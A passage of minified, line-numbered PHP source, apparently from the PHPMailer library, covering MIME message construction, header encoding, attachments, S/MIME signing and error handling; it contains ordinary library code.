  592. }}}public function setLanguage($langcode='en',$lang_path=''){$PHPMAILER_LANG=array('authenticate'=>'SMTP Error: Could not authenticate.','connect_host'=>'SMTP Error: Could not connect to SMTP host.','data_not_accepted'=>'SMTP Error: data not accepted.','empty_message'=>'Message body empty','encoding'=>'Unknown encoding: ','execute'=>'Could not execute: ','file_access'=>'Could not access file: ','file_open'=>'File Error: Could not open file: ','from_failed'=>'The following From address failed: ','instantiate'=>'Could not instantiate mail function.','invalid_address'=>'Invalid address','mailer_not_supported'=>' mailer is not supported.','provide_address'=>'You must provide at least one recipient email address.','recipients_failed'=>'SMTP Error: The following recipients failed: ','signing'=>'Signing Error: ','smtp_connect_failed'=>'SMTP connect() failed.','smtp_error'=>'SMTP server error: ','variable_set'=>'Cannot set or reset variable: ','extension_missing'=>'Extension missing: ');
  593. if(empty($lang_path)){$lang_path=dirname(__FILE__).DIRECTORY_SEPARATOR.'language'.DIRECTORY_SEPARATOR;
  594. }$foundlang=true;
  595. $lang_file=$lang_path.'phpmailer.lang-'.$langcode.'.php';
  596. if($langcode!='en'){if(!is_readable($lang_file)){$foundlang=false;
  597. }else{$foundlang=include $lang_file;
  598. }}$this->language=$PHPMAILER_LANG;
  599. return (boolean)$foundlang;
  600. }public function getTranslations(){return $this->language;
  601. }public function addrAppend($type,$addr){$addresses=array();
  602. foreach($addr as $address){$addresses[]=$this->addrFormat($address);
  603. }return $type.': '.implode(', ',$addresses).$this->LE;
  604. }public function addrFormat($addr){if(empty($addr[1])){return $this->secureHeader($addr[0]);
  605. }else{return $this->encodeHeader($this->secureHeader($addr[1]),'phrase').' <'.$this->secureHeader($addr[0]).'>';
  606. }}public function wrapText($message,$length,$qp_mode=false){if($qp_mode){$soft_break=sprintf(' =%s',$this->LE);
  607. }else{$soft_break=$this->LE;
  608. }$is_utf8=(strtolower($this->CharSet)=='utf-8');
  609. $lelen=strlen($this->LE);
  610. $crlflen=strlen(self::CRLF);
  611. $message=$this->fixEOL($message);
  612. if(substr($message,-$lelen)==$this->LE){$message=substr($message,0,-$lelen);
  613. }$lines=explode($this->LE,$message);
  614. $message='';
  615. foreach($lines as $line){$words=explode(' ',$line);
  616. $buf='';
  617. $firstword=true;
  618. foreach($words as $word){if($qp_mode and(strlen($word)>$length)){$space_left=$length-strlen($buf)-$crlflen;
  619. if(!$firstword){if($space_left>20){$len=$space_left;
  620. if($is_utf8){$len=$this->utf8CharBoundary($word,$len);
  621. }elseif(substr($word,$len-1,1)=='='){$len--;
  622. }elseif(substr($word,$len-2,1)=='='){$len-=2;
  623. }$part=substr($word,0,$len);
  624. $word=substr($word,$len);
  625. $buf.=' '.$part;
  626. $message.=$buf.sprintf('=%s',self::CRLF);
  627. }else{$message.=$buf.$soft_break;
  628. }$buf='';
  629. }while(strlen($word)>0){if($length<=0){break;
  630. }$len=$length;
  631. if($is_utf8){$len=$this->utf8CharBoundary($word,$len);
  632. }elseif(substr($word,$len-1,1)=='='){$len--;
  633. }elseif(substr($word,$len-2,1)=='='){$len-=2;
  634. }$part=substr($word,0,$len);
  635. $word=substr($word,$len);
  636. if(strlen($word)>0){$message.=$part.sprintf('=%s',self::CRLF);
  637. }else{$buf=$part;
  638. }}}else{$buf_o=$buf;
  639. if(!$firstword){$buf.=' ';
  640. }$buf.=$word;
  641. if(strlen($buf)>$length and $buf_o!=''){$message.=$buf_o.$soft_break;
  642. $buf=$word;
  643. }}$firstword=false;
  644. }$message.=$buf.self::CRLF;
  645. }return $message;
  646. }public function utf8CharBoundary($encodedText,$maxLength){$foundSplitPos=false;
  647. $lookBack=3;
  648. while(!$foundSplitPos){$lastChunk=substr($encodedText,$maxLength-$lookBack,$lookBack);
  649. $encodedCharPos=strpos($lastChunk,'=');
  650. if(false!==$encodedCharPos){$hex=substr($encodedText,$maxLength-$lookBack+$encodedCharPos+1,2);
  651. $dec=hexdec($hex);
  652. if($dec<128){if($encodedCharPos>0){$maxLength=$maxLength-($lookBack-$encodedCharPos);
  653. }$foundSplitPos=true;
  654. }elseif($dec>=192){$maxLength=$maxLength-($lookBack-$encodedCharPos);
  655. $foundSplitPos=true;
  656. }elseif($dec<192){$lookBack+=3;
  657. }}else{$foundSplitPos=true;
  658. }}return $maxLength;
  659. }public function setWordWrap(){if($this->WordWrap<1){return;
  660. }switch($this->message_type){case 'alt':case 'alt_inline':case 'alt_attach':case 'alt_inline_attach':$this->AltBody=$this->wrapText($this->AltBody,$this->WordWrap);
  661. break;
  662. default:$this->Body=$this->wrapText($this->Body,$this->WordWrap);
  663. break;
  664. }}public function createHeader(){$result='';
  665. $uniq_id=md5(uniqid(time()));
  666. $this->boundary[1]='b1_'.$uniq_id;
  667. $this->boundary[2]='b2_'.$uniq_id;
  668. $this->boundary[3]='b3_'.$uniq_id;
  669. if($this->MessageDate==''){$this->MessageDate=self::rfcDate();
  670. }$result.=$this->headerLine('Date',$this->MessageDate);
  671. if($this->SingleTo){if($this->Mailer!='mail'){foreach($this->to as $toaddr){$this->SingleToArray[]=$this->addrFormat($toaddr);
  672. }}}else{if(count($this->to)>0){if($this->Mailer!='mail'){$result.=$this->addrAppend('To',$this->to);
  673. }}elseif(count($this->cc)==0){$result.=$this->headerLine('To','undisclosed-recipients:;
  674. ');
  675. }}$result.=$this->addrAppend('From',array(array(trim($this->From),$this->FromName)));
  676. if(count($this->cc)>0){$result.=$this->addrAppend('Cc',$this->cc);
  677. }if(($this->Mailer=='sendmail' or $this->Mailer=='qmail' or $this->Mailer=='mail')and count($this->bcc)>0){$result.=$this->addrAppend('Bcc',$this->bcc);
  678. }if(count($this->ReplyTo)>0){$result.=$this->addrAppend('Reply-To',$this->ReplyTo);
  679. }if($this->Mailer!='mail'){$result.=$this->headerLine('Subject',$this->encodeHeader($this->secureHeader($this->Subject)));
  680. }if($this->MessageID!=''){$this->lastMessageID=$this->MessageID;
  681. }else{$this->lastMessageID=sprintf('<%s@%s>',$uniq_id,$this->ServerHostname());
  682. }$result.=$this->headerLine('Message-ID',$this->lastMessageID);
  683. $result.=$this->headerLine('X-Priority',$this->Priority);
  684. if($this->XMailer==''){}else{$myXmailer=trim($this->XMailer);
  685. if($myXmailer){$result.=$this->headerLine('X-Mailer',$myXmailer);
  686. }}if($this->ConfirmReadingTo!=''){$result.=$this->headerLine('Disposition-Notification-To','<'.trim($this->ConfirmReadingTo).'>');
  687. }foreach($this->CustomHeader as $header){$result.=$this->headerLine(trim($header[0]),$this->encodeHeader(trim($header[1])));
  688. }if(!$this->sign_key_file){$result.=$this->headerLine('MIME-Version','1.0');
  689. $result.=$this->getMailMIME();
  690. }return $result;
  691. }public function getMailMIME(){$result='';
  692. $ismultipart=true;
  693. switch($this->message_type){case 'inline':$result.=$this->headerLine('Content-Type','multipart/related;
  694. ');
  695. $result.=$this->textLine("\tboundary=\"".$this->boundary[1].'"');
  696. break;
  697. case 'attach':case 'inline_attach':case 'alt_attach':case 'alt_inline_attach':$result.=$this->headerLine('Content-Type','multipart/mixed;
  698. ');
  699. $result.=$this->textLine("\tboundary=\"".$this->boundary[1].'"');
  700. break;
  701. case 'alt':case 'alt_inline':$result.=$this->headerLine('Content-Type','multipart/alternative;
  702. ');
  703. $result.=$this->textLine("\tboundary=\"".$this->boundary[1].'"');
  704. break;
  705. default:$result.=$this->textLine('Content-Type: '.$this->ContentType.';
  706. charset='.$this->CharSet);
  707. $ismultipart=false;
  708. break;
  709. }if($this->Encoding!='7bit'){if($ismultipart){if($this->Encoding=='8bit'){$result.=$this->headerLine('Content-Transfer-Encoding','8bit');
  710. }}else{$result.=$this->headerLine('Content-Transfer-Encoding',$this->Encoding);
  711. }}if($this->Mailer!='mail'){$result.=$this->LE;
  712. }return $result;
  713. }public function getSentMIMEMessage(){return $this->MIMEHeader.$this->mailHeader.self::CRLF.$this->MIMEBody;
  714. }public function createBody(){$body='';
  715. if($this->sign_key_file){$body.=$this->getMailMIME().$this->LE;
  716. }$this->setWordWrap();
  717. $bodyEncoding=$this->Encoding;
  718. $bodyCharSet=$this->CharSet;
  719. if($bodyEncoding=='8bit' and!$this->has8bitChars($this->Body)){$bodyEncoding='7bit';
  720. $bodyCharSet='us-ascii';
  721. }$altBodyEncoding=$this->Encoding;
  722. $altBodyCharSet=$this->CharSet;
  723. if($altBodyEncoding=='8bit' and!$this->has8bitChars($this->AltBody)){$altBodyEncoding='7bit';
  724. $altBodyCharSet='us-ascii';
  725. }$mimepre="This is a multi-part message in MIME format.".$this->LE.$this->LE;
  726. switch($this->message_type){case 'inline':$body.=$mimepre;
  727. $body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'',$bodyEncoding);
  728. $body.=$this->encodeString($this->Body,$bodyEncoding);
  729. $body.=$this->LE.$this->LE;
  730. $body.=$this->attachAll('inline',$this->boundary[1]);
  731. break;
  732. case 'attach':$body.=$mimepre;
  733. $body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'',$bodyEncoding);
  734. $body.=$this->encodeString($this->Body,$bodyEncoding);
  735. $body.=$this->LE.$this->LE;
  736. $body.=$this->attachAll('attachment',$this->boundary[1]);
  737. break;
  738. case 'inline_attach':$body.=$mimepre;
  739. $body.=$this->textLine('--'.$this->boundary[1]);
  740. $body.=$this->headerLine('Content-Type','multipart/related;
  741. ');
  742. $body.=$this->textLine("\tboundary=\"".$this->boundary[2].'"');
  743. $body.=$this->LE;
  744. $body.=$this->getBoundary($this->boundary[2],$bodyCharSet,'',$bodyEncoding);
  745. $body.=$this->encodeString($this->Body,$bodyEncoding);
  746. $body.=$this->LE.$this->LE;
  747. $body.=$this->attachAll('inline',$this->boundary[2]);
  748. $body.=$this->LE;
  749. $body.=$this->attachAll('attachment',$this->boundary[1]);
  750. break;
  751. case 'alt':$body.=$mimepre;
  752. $body.=$this->getBoundary($this->boundary[1],$altBodyCharSet,'text/plain',$altBodyEncoding);
  753. $body.=$this->encodeString($this->AltBody,$altBodyEncoding);
  754. $body.=$this->LE.$this->LE;
  755. $body.=$this->getBoundary($this->boundary[1],$bodyCharSet,'text/html',$bodyEncoding);
  756. $body.=$this->encodeString($this->Body,$bodyEncoding);
  757. $body.=$this->LE.$this->LE;
  758. if(!empty($this->Ical)){$body.=$this->getBoundary($this->boundary[1],'','text/calendar;
  759. method=REQUEST','');
  760. $body.=$this->encodeString($this->Ical,$this->Encoding);
  761. $body.=$this->LE.$this->LE;
  762. }$body.=$this->endBoundary($this->boundary[1]);
  763. break;
  764. case 'alt_inline':$body.=$mimepre;
  765. $body.=$this->getBoundary($this->boundary[1],$altBodyCharSet,'text/plain',$altBodyEncoding);
  766. $body.=$this->encodeString($this->AltBody,$altBodyEncoding);
  767. $body.=$this->LE.$this->LE;
  768. $body.=$this->textLine('--'.$this->boundary[1]);
  769. $body.=$this->headerLine('Content-Type','multipart/related;
  770. ');
  771. $body.=$this->textLine("\tboundary=\"".$this->boundary[2].'"');
  772. $body.=$this->LE;
  773. $body.=$this->getBoundary($this->boundary[2],$bodyCharSet,'text/html',$bodyEncoding);
  774. $body.=$this->encodeString($this->Body,$bodyEncoding);
  775. $body.=$this->LE.$this->LE;
  776. $body.=$this->attachAll('inline',$this->boundary[2]);
  777. $body.=$this->LE;
  778. $body.=$this->endBoundary($this->boundary[1]);
  779. break;
  780. case 'alt_attach':$body.=$mimepre;
  781. $body.=$this->textLine('--'.$this->boundary[1]);
  782. $body.=$this->headerLine('Content-Type','multipart/alternative;
  783. ');
  784. $body.=$this->textLine("\tboundary=\"".$this->boundary[2].'"');
  785. $body.=$this->LE;
  786. $body.=$this->getBoundary($this->boundary[2],$altBodyCharSet,'text/plain',$altBodyEncoding);
  787. $body.=$this->encodeString($this->AltBody,$altBodyEncoding);
  788. $body.=$this->LE.$this->LE;
  789. $body.=$this->getBoundary($this->boundary[2],$bodyCharSet,'text/html',$bodyEncoding);
  790. $body.=$this->encodeString($this->Body,$bodyEncoding);
  791. $body.=$this->LE.$this->LE;
  792. $body.=$this->endBoundary($this->boundary[2]);
  793. $body.=$this->LE;
  794. $body.=$this->attachAll('attachment',$this->boundary[1]);
  795. break;
  796. case 'alt_inline_attach':$body.=$mimepre;
  797. $body.=$this->textLine('--'.$this->boundary[1]);
  798. $body.=$this->headerLine('Content-Type','multipart/alternative;
  799. ');
  800. $body.=$this->textLine("\tboundary=\"".$this->boundary[2].'"');
  801. $body.=$this->LE;
  802. $body.=$this->getBoundary($this->boundary[2],$altBodyCharSet,'text/plain',$altBodyEncoding);
  803. $body.=$this->encodeString($this->AltBody,$altBodyEncoding);
  804. $body.=$this->LE.$this->LE;
  805. $body.=$this->textLine('--'.$this->boundary[2]);
  806. $body.=$this->headerLine('Content-Type','multipart/related;
  807. ');
  808. $body.=$this->textLine("\tboundary=\"".$this->boundary[3].'"');
  809. $body.=$this->LE;
  810. $body.=$this->getBoundary($this->boundary[3],$bodyCharSet,'text/html',$bodyEncoding);
  811. $body.=$this->encodeString($this->Body,$bodyEncoding);
  812. $body.=$this->LE.$this->LE;
  813. $body.=$this->attachAll('inline',$this->boundary[3]);
  814. $body.=$this->LE;
  815. $body.=$this->endBoundary($this->boundary[2]);
  816. $body.=$this->LE;
  817. $body.=$this->attachAll('attachment',$this->boundary[1]);
  818. break;
  819. default:$body.=$this->encodeString($this->Body,$bodyEncoding);
  820. break;
  821. }if($this->isError()){$body='';
  822. }elseif($this->sign_key_file){try{if(!defined('PKCS7_TEXT')){throw new phpmailerException($this->lang('extension_missing').'openssl');
  823. }$file=tempnam(sys_get_temp_dir(),'mail');
  824. if(false===file_put_contents($file,$body)){throw new phpmailerException($this->lang('signing').' Could not write temp file');
  825. }$signed=tempnam(sys_get_temp_dir(),'signed');
  826. if(empty($this->sign_extracerts_file)){$sign=@openssl_pkcs7_sign($file,$signed,'file://'.realpath($this->sign_cert_file),array('file://'.realpath($this->sign_key_file),$this->sign_key_pass),null);
  827. }else{$sign=@openssl_pkcs7_sign($file,$signed,'file://'.realpath($this->sign_cert_file),array('file://'.realpath($this->sign_key_file),$this->sign_key_pass),null,PKCS7_DETACHED,$this->sign_extracerts_file);
  828. }if($sign){@unlink($file);
  829. $body=file_get_contents($signed);
  830. @unlink($signed);
  831. $parts=explode("\n\n",$body,2);
  832. $this->MIMEHeader.=$parts[0].$this->LE.$this->LE;
  833. $body=$parts[1];
  834. }else{@unlink($file);
  835. @unlink($signed);
  836. throw new phpmailerException($this->lang('signing').openssl_error_string());
  837. }}catch(phpmailerException $exc){$body='';
  838. if($this->exceptions){throw $exc;
  839. }}}return $body;
  840. }protected function getBoundary($boundary,$charSet,$contentType,$encoding){$result='';
  841. if($charSet==''){$charSet=$this->CharSet;
  842. }if($contentType==''){$contentType=$this->ContentType;
  843. }if($encoding==''){$encoding=$this->Encoding;
  844. }$result.=$this->textLine('--'.$boundary);
  845. $result.=sprintf('Content-Type: %s;
  846. charset=%s',$contentType,$charSet);
  847. $result.=$this->LE;
  848. if($encoding!='7bit'){$result.=$this->headerLine('Content-Transfer-Encoding',$encoding);
  849. }$result.=$this->LE;
  850. return $result;
  851. }protected function endBoundary($boundary){return $this->LE.'--'.$boundary.'--'.$this->LE;
  852. }protected function setMessageType(){$type=array();
  853. if($this->alternativeExists()){$type[]='alt';
  854. }if($this->inlineImageExists()){$type[]='inline';
  855. }if($this->attachmentExists()){$type[]='attach';
  856. }$this->message_type=implode('_',$type);
  857. if($this->message_type==''){$this->message_type='plain';
  858. }}public function headerLine($name,$value){return $name.': '.$value.$this->LE;
  859. }public function textLine($value){return $value.$this->LE;
  860. }public function addAttachment($path,$name='',$encoding='base64',$type='',$disposition='attachment'){try{if(!@is_file($path)){throw new phpmailerException($this->lang('file_access').$path,self::STOP_CONTINUE);
  861. }if($type==''){$type=self::filenameToType($path);
  862. }$filename=basename($path);
  863. if($name==''){$name=$filename;
  864. }$this->attachment[]=array(0=>$path,1=>$filename,2=>$name,3=>$encoding,4=>$type,5=>false,6=>$disposition,7=>0);
  865. }catch(phpmailerException $exc){$this->setError($exc->getMessage());
  866. $this->edebug($exc->getMessage());
  867. if($this->exceptions){throw $exc;
  868. }return false;
  869. }return true;
  870. }public function getAttachments(){return $this->attachment;
  871. }protected function attachAll($disposition_type,$boundary){$mime=array();
  872. $cidUniq=array();
  873. $incl=array();
  874. foreach($this->attachment as $attachment){if($attachment[6]==$disposition_type){$string='';
  875. $path='';
  876. $bString=$attachment[5];
  877. if($bString){$string=$attachment[0];
  878. }else{$path=$attachment[0];
  879. }$inclhash=md5(serialize($attachment));
  880. if(in_array($inclhash,$incl)){continue;
  881. }$incl[]=$inclhash;
  882. $name=$attachment[2];
  883. $encoding=$attachment[3];
  884. $type=$attachment[4];
  885. $disposition=$attachment[6];
  886. $cid=$attachment[7];
  887. if($disposition=='inline'&&isset($cidUniq[$cid])){continue;
  888. }$cidUniq[$cid]=true;
  889. $mime[]=sprintf('--%s%s',$boundary,$this->LE);
  890. $mime[]=sprintf('Content-Type: %s;
  891. name="%s"%s',$type,$this->encodeHeader($this->secureHeader($name)),$this->LE);
  892. if($encoding!='7bit'){$mime[]=sprintf('Content-Transfer-Encoding: %s%s',$encoding,$this->LE);
  893. }if($disposition=='inline'){$mime[]=sprintf('Content-ID: <%s>%s',$cid,$this->LE);
  894. }if(!(empty($disposition))){$encoded_name=$this->encodeHeader($this->secureHeader($name));
  895. if(preg_match('/[ \(\)<>@,;
  896. :\\"\/\[\]\?=]/',$encoded_name)){$mime[]=sprintf('Content-Disposition: %s;
  897. filename="%s"%s',$disposition,$encoded_name,$this->LE.$this->LE);
  898. }else{$mime[]=sprintf('Content-Disposition: %s;
  899. filename=%s%s',$disposition,$encoded_name,$this->LE.$this->LE);
  900. }}else{$mime[]=$this->LE;
  901. }if($bString){$mime[]=$this->encodeString($string,$encoding);
  902. if($this->isError()){return'';
  903. }$mime[]=$this->LE.$this->LE;
  904. }else{$mime[]=$this->encodeFile($path,$encoding);
  905. if($this->isError()){return'';
  906. }$mime[]=$this->LE.$this->LE;
  907. }}}$mime[]=sprintf('--%s--%s',$boundary,$this->LE);
  908. return implode('',$mime);
  909. }protected function encodeFile($path,$encoding='base64'){try{if(!is_readable($path)){throw new phpmailerException($this->lang('file_open').$path,self::STOP_CONTINUE);
  910. }$magic_quotes=get_magic_quotes_runtime();
  911. if($magic_quotes){if(version_compare(PHP_VERSION,'5.3.0','<')){set_magic_quotes_runtime(false);
  912. }else{ini_set('magic_quotes_runtime',false);
  913. }}$file_buffer=file_get_contents($path);
  914. $file_buffer=$this->encodeString($file_buffer,$encoding);
  915. if($magic_quotes){if(version_compare(PHP_VERSION,'5.3.0','<')){set_magic_quotes_runtime($magic_quotes);
  916. }else{ini_set('magic_quotes_runtime',$magic_quotes);
  917. }}return $file_buffer;
  918. }catch(Exception $exc){$this->setError($exc->getMessage());
  919. return'';
  920. }}public function encodeString($str,$encoding='base64'){$encoded='';
  921. switch(strtolower($encoding)){case 'base64':$encoded=chunk_split(base64_encode($str),76,$this->LE);
  922. break;
  923. case '7bit':case '8bit':$encoded=$this->fixEOL($str);
  924. if(substr($encoded,-(strlen($this->LE)))!=$this->LE){$encoded.=$this->LE;
  925. }break;
  926. case 'binary':$encoded=$str;
  927. break;
  928. case 'quoted-printable':$encoded=$this->encodeQP($str);
  929. break;
  930. default:$this->setError($this->lang('encoding').$encoding);
  931. break;
  932. }return $encoded;
  933. }public function encodeHeader($str,$position='text'){$matchcount=0;
  934. switch(strtolower($position)){case 'phrase':if(!preg_match('/[\200-\377]/',$str)){$encoded=addcslashes($str,"\0..\37\177\\\"");
  935. if(($str==$encoded)&&!preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/',$str)){return($encoded);
  936. }else{return("\"$encoded\"");
  937. }}$matchcount=preg_match_all('/[^\040\041\043-\133\135-\176]/',$str,$matches);
  938. break;
  939. case 'comment':$matchcount=preg_match_all('/[()"]/',$str,$matches);
  940. case 'text':default:$matchcount+=preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/',$str,$matches);
  941. break;
  942. }if($matchcount==0){return($str);
  943. }$maxlen=75-7-strlen($this->CharSet);
  944. if($matchcount>strlen($str)/3){$encoding='B';
  945. if(function_exists('mb_strlen')&&$this->hasMultiBytes($str)){$encoded=$this->base64EncodeWrapMB($str,"\n");
  946. }else{$encoded=base64_encode($str);
  947. $maxlen-=$maxlen%4;
  948. $encoded=trim(chunk_split($encoded,$maxlen,"\n"));
  949. }}else{$encoding='Q';
  950. $encoded=$this->encodeQ($str,$position);
  951. $encoded=$this->wrapText($encoded,$maxlen,true);
  952. $encoded=str_replace('='.self::CRLF,"\n",trim($encoded));
  953. }$encoded=preg_replace('/^(.*)$/m',' =?'.$this->CharSet."?$encoding?\\1?=",$encoded);
  954. $encoded=trim(str_replace("\n",$this->LE,$encoded));
  955. return $encoded;
  956. }public function hasMultiBytes($str){if(function_exists('mb_strlen')){return(strlen($str)>mb_strlen($str,$this->CharSet));
  957. }else{return false;
  958. }}public function has8bitChars($text){return (boolean)preg_match('/[\x80-\xFF]/',$text);
  959. }public function base64EncodeWrapMB($str,$linebreak=null){$start='=?'.$this->CharSet.'?B?';
  960. $end='?=';
  961. $encoded='';
  962. if($linebreak===null){$linebreak=$this->LE;
  963. }$mb_length=mb_strlen($str,$this->CharSet);
  964. $length=75-strlen($start)-strlen($end);
  965. $ratio=$mb_length/strlen($str);
  966. $avgLength=floor($length*$ratio*.75);
  967. for($i=0;
  968. $i<$mb_length;
  969. $i+=$offset){$lookBack=0;
  970. do{$offset=$avgLength-$lookBack;
  971. $chunk=mb_substr($str,$i,$offset,$this->CharSet);
  972. $chunk=base64_encode($chunk);
  973. $lookBack++;
  974. }while(strlen($chunk)>$length);
  975. $encoded.=$chunk.$linebreak;
  976. }$encoded=substr($encoded,0,-strlen($linebreak));
  977. return $encoded;
  978. }public function encodeQP($string,$line_max=76){if(function_exists('quoted_printable_encode')){return $this->fixEOL(quoted_printable_encode($string));
  979. }$string=str_replace(array('%20','%0D%0A.','%0D%0A','%'),array(' ',"\r\n=2E","\r\n",'='),rawurlencode($string));
  980. $string=preg_replace('/[^\r\n]{'.($line_max-3).'}[^=\r\n]{2}/',"$0=\r\n",$string);
  981. return $this->fixEOL($string);
  982. }public function encodeQPphp($string,$line_max=76,$space_conv=false){return $this->encodeQP($string,$line_max);
  983. }public function encodeQ($str,$position='text'){$pattern='';
  984. $encoded=str_replace(array("\r","\n"),'',$str);
  985. switch(strtolower($position)){case 'phrase':$pattern='^A-Za-z0-9!*+\/ -';
  986. break;
  987. case 'comment':$pattern='\(\)"';
  988. case 'text':default:$pattern='\000-\011\013\014\016-\037\075\077\137\177-\377'.$pattern;
  989. break;
  990. }$matches=array();
  991. if(preg_match_all("/[{$pattern}]/",$encoded,$matches)){$eqkey=array_search('=',$matches[0]);
  992. if(false!==$eqkey){unset($matches[0][$eqkey]);
  993. array_unshift($matches[0],'=');
  994. }foreach(array_unique($matches[0])as $char){$encoded=str_replace($char,'='.sprintf('%02X',ord($char)),$encoded);
  995. }}return str_replace(' ','_',$encoded);
  996. }public function addStringAttachment($string,$filename,$encoding='base64',$type='',$disposition='attachment'){if($type==''){$type=self::filenameToType($filename);
  997. }$this->attachment[]=array(0=>$string,1=>$filename,2=>basename($filename),3=>$encoding,4=>$type,5=>true,6=>$disposition,7=>0);
  998. }public function addEmbeddedImage($path,$cid,$name='',$encoding='base64',$type='',$disposition='inline'){if(!@is_file($path)){$this->setError($this->lang('file_access').$path);
  999. return false;
  1000. }if($type==''){$type=self::filenameToType($path);
  1001. }$filename=basename($path);
  1002. if($name==''){$name=$filename;
  1003. }$this->attachment[]=array(0=>$path,1=>$filename,2=>$name,3=>$encoding,4=>$type,5=>false,6=>$disposition,7=>$cid);
  1004. return true;
  1005. }public function addStringEmbeddedImage($string,$cid,$name='',$encoding='base64',$type='',$disposition='inline'){if($type==''){$type=self::filenameToType($name);
  1006. }$this->attachment[]=array(0=>$string,1=>$name,2=>$name,3=>$encoding,4=>$type,5=>true,6=>$disposition,7=>$cid);
  1007. return true;
  1008. }public function inlineImageExists(){foreach($this->attachment as $attachment){if($attachment[6]=='inline'){return true;
  1009. }}return false;
  1010. }public function attachmentExists(){foreach($this->attachment as $attachment){if($attachment[6]=='attachment'){return true;
  1011. }}return false;
  1012. }public function alternativeExists(){return!empty($this->AltBody);
  1013. }public function clearAddresses(){foreach($this->to as $to){unset($this->all_recipients[strtolower($to[0])]);
  1014. }$this->to=array();
  1015. }public function clearCCs(){foreach($this->cc as $cc){unset($this->all_recipients[strtolower($cc[0])]);
  1016. }$this->cc=array();
  1017. }public function clearBCCs(){foreach($this->bcc as $bcc){unset($this->all_recipients[strtolower($bcc[0])]);
  1018. }$this->bcc=array();
  1019. }public function clearReplyTos(){$this->ReplyTo=array();
  1020. }public function clearAllRecipients(){$this->to=array();
  1021. $this->cc=array();
  1022. $this->bcc=array();
  1023. $this->all_recipients=array();
  1024. }public function clearAttachments(){$this->attachment=array();
  1025. }public function clearCustomHeaders(){$this->CustomHeader=array();
  1026. }protected function setError($msg){$this->error_count++;
  1027. if($this->Mailer=='smtp' and!is_null($this->smtp)){$lasterror=$this->smtp->getError();
  1028. if(!empty($lasterror['error'])){$msg.=$this->lang('smtp_error').$lasterror['error'];
  1029. if(!empty($lasterror['detail'])){$msg.=' Detail: '.$lasterror['detail'];
  1030. }if(!empty($lasterror['smtp_code'])){$msg.=' SMTP code: '.$lasterror['smtp_code'];
  1031. }if(!empty($lasterror['smtp_code_ex'])){$msg.=' Additional SMTP info: '.$lasterror['smtp_code_ex'];
  1032. }}}$this->ErrorInfo=$msg;
  1033. }public static function rfcDate(){date_default_timezone_set(@date_default_timezone_get());
  1034. return date('D, j M Y H:i:s O');
  1035. }protected function serverHostname(){$result='localhost.localdomain';
  1036. if(!empty($this->Hostname)){$result=$this->Hostname;
  1037. }elseif(isset($_SERVER)and array_key_exists('SERVER_NAME',$_SERVER)and!empty($_SERVER['SERVER_NAME'])){$result=$_SERVER['SERVER_NAME'];
  1038. }elseif(function_exists('gethostname')&&gethostname()!==false){$result=gethostname();
  1039. }elseif(php_uname('n')!==false){$result=php_uname('n');
  1040. }return $result;
  1041. }protected function lang($key){if(count($this->language)<1){$this->setLanguage('en');
  1042. }if(array_key_exists($key,$this->language)){return $this->language[$key];
  1043. }else{return $key;
  1044. }}public function isError(){return($this->error_count>0);
  1045. }public function fixEOL($str){$nstr=str_replace(array("\r\n","\r"),"\n",$str);
  1046. if($this->LE!=="\n"){$nstr=str_replace("\n",$this->LE,$nstr);
  1047. }return $nstr;
  1048. }public function addCustomHeader($name,$value=null){if($value===null){$this->CustomHeader[]=explode(':',$name,2);
  1049. }else{$this->CustomHeader[]=array($name,$value);
  1050. }}public function getCustomHeaders(){return $this->CustomHeader;
  1051. }public function msgHTML($message,$basedir='',$advanced=false){preg_match_all('/(src|background)=["\'](.*)["\']/Ui',$message,$images);
  1052. if(isset($images[2])){foreach($images[2]as $imgindex=>$url){if(preg_match('#^data:(image[^;
  1053. ,]*)(;
  1054. base64)?,#',$url,$match)){$data=substr($url,strpos($url,','));
  1055. if($match[2]){$data=base64_decode($data);
  1056. }else{$data=rawurldecode($data);
  1057. }$cid=md5($url).'@phpmailer.0';
  1058. if($this->addStringEmbeddedImage($data,$cid,'','base64',$match[1])){$message=str_replace($images[0][$imgindex],$images[1][$imgindex].'="cid:'.$cid.'"',$message);
  1059. }}elseif(!preg_match('#^[A-z]+://#',$url)){$filename=basename($url);
  1060. $directory=dirname($url);
  1061. if($directory=='.'){$directory='';
  1062. }$cid=md5($url).'@phpmailer.0';
  1063. if(strlen($basedir)>1&&substr($basedir,-1)!='/'){$basedir.='/';
  1064. }if(strlen($directory)>1&&substr($directory,-1)!='/'){$directory.='/';
  1065. }if($this->addEmbeddedImage($basedir.$directory.$filename,$cid,$filename,'base64',self::_mime_types((string)self::mb_pathinfo($filename,PATHINFO_EXTENSION)))){$message=preg_replace('/'.$images[1][$imgindex].'=["\']'.preg_quote($url,'/').'["\']/Ui',$images[1][$imgindex].'="cid:'.$cid.'"',$message);
  1066. }}}}$this->isHTML(true);
  1067. $this->Body=$this->normalizeBreaks($message);
  1068. $this->AltBody=$this->normalizeBreaks($this->html2text($message,$advanced));
  1069. if(empty($this->AltBody)){$this->AltBody='To view this email message, open it in a program that understands HTML!'.self::CRLF.self::CRLF;
  1070. }return $this->Body;
  1071. }public function html2text($html,$advanced=false){if(is_callable($advanced)){return call_user_func($advanced,$html);
  1072. }return html_entity_decode(trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si','',$html))),ENT_QUOTES,$this->CharSet);
  1073. }public static function _mime_types($ext=''){$mimes=array('xl'=>'application/excel','js'=>'application/javascript','hqx'=>'application/mac-binhex40','cpt'=>'application/mac-compactpro','bin'=>'application/macbinary','doc'=>'application/msword','word'=>'application/msword','class'=>'application/octet-stream','dll'=>'application/octet-stream','dms'=>'application/octet-stream','exe'=>'application/octet-stream','lha'=>'application/octet-stream','lzh'=>'application/octet-stream','psd'=>'application/octet-stream','sea'=>'application/octet-stream','so'=>'application/octet-stream','oda'=>'application/oda','pdf'=>'application/pdf','ai'=>'application/postscript','eps'=>'application/postscript','ps'=>'application/postscript','smi'=>'application/smil','smil'=>'application/smil','mif'=>'application/vnd.mif','xls'=>'application/vnd.ms-excel','ppt'=>'application/vnd.ms-powerpoint','wbxml'=>'application/vnd.wap.wbxml','wmlc'=>'application/vnd.wap.wmlc','dcr'=>'application/x-director','dir'=>'application/x-director','dxr'=>'application/x-director','dvi'=>'application/x-dvi','gtar'=>'application/x-gtar','php3'=>'application/x-httpd-php','php4'=>'application/x-httpd-php','php'=>'application/x-httpd-php','phtml'=>'application/x-httpd-php','phps'=>